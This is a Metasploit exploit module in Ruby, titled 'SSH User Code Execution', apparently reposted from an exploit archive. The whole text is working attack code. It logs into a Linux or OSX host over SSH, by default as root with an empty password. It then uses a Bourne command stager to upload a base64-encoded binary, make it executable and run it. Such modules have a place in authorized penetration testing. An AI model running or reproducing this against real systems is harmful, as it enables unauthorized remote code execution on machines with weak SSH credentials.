SSH User Code Execution

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
require 'net/ssh'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ManualRanking  
  
include Msf::Exploit::CmdStagerBourne  
  
attr_accessor :ssh_socket  
  
def initialize  
super(  
'Name' => 'SSH User Code Execution',  
'Description' => %q{  
This module utilizes a stager to upload a base64 encoded  
binary which is then decoded, chmod'ed and executed from  
the command shell.  
},  
'Author' => ['Spencer McIntyre', 'Brandon Knight'],  
'References' =>  
[  
[ 'CVE', '1999-0502'] # Weak password  
],  
'License' => MSF_LICENSE,  
'Privileged' => true,  
'DefaultOptions' =>  
{  
'PrependFork' => 'true',  
'EXITFUNC' => 'process'  
},  
'Payload' =>  
{  
'Space' => 4096,  
'BadChars' => "",  
'DisableNops' => true  
},  
'Platform' => [ 'osx', 'linux' ],  
'Targets' =>  
[  
[ 'Linux x86',  
{  
'Arch' => ARCH_X86,  
'Platform' => 'linux'  
},  
],  
[ 'Linux x64',  
{  
'Arch' => ARCH_X86_64,  
'Platform' => 'linux'  
},  
],  
[ 'OSX x86',  
{  
'Arch' => ARCH_X86,  
'Platform' => 'osx'  
},  
],  
],  
'DefaultTarget' => 0,  
# For the CVE  
'DisclosureDate' => 'Jan 01 1999'  
)  
  
register_options(  
[  
OptString.new('USERNAME', [ true, "The user to authenticate as.", 'root' ]),  
OptString.new('PASSWORD', [ true, "The password to authenticate with.", '' ]),  
OptString.new('RHOST', [ true, "The target address" ]),  
Opt::RPORT(22)  
], self.class  
)  
  
register_advanced_options(  
[  
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false])  
]  
)  
end  
  
def execute_command(cmd, opts = {})  
begin  
Timeout.timeout(3) do  
self.ssh_socket.exec!("#{cmd}\n")  
end  
rescue ::Exception  
end  
end  
  
def do_login(ip, user, pass, port)  
opt_hash = {  
:auth_methods => ['password', 'keyboard-interactive'],  
:msframework => framework,  
:msfmodule => self,  
:port => port,  
:disable_agent => true,  
:password => pass  
}  
  
opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG']  
  
begin  
self.ssh_socket = Net::SSH.start(ip, user, opt_hash)  
rescue Rex::ConnectionError, Rex::AddressInUse  
fail_with(Exploit::Failure::Unreachable, 'Disconnected during negotiation')  
rescue Net::SSH::Disconnect, ::EOFError  
fail_with(Exploit::Failure::Disconnected, 'Timed out during negotiation')  
rescue Net::SSH::AuthenticationFailed  
fail_with(Exploit::Failure::NoAccess, 'Failed authentication')  
rescue Net::SSH::Exception => e  
fail_with(Exploit::Failure::Unknown, "SSH Error: #{e.class} : #{e.message}")  
end  
  
if not self.ssh_socket  
fail_with(Exploit::Failure::Unknown)  
end  
return  
end  
  
def exploit  
do_login(datastore['RHOST'], datastore['USERNAME'], datastore['PASSWORD'], datastore['RPORT'])  
  
print_status("#{datastore['RHOST']}:#{datastore['RPORT']} - Sending Bourne stager...")  
execute_cmdstager({:linemax => 500})  
end  
end  
`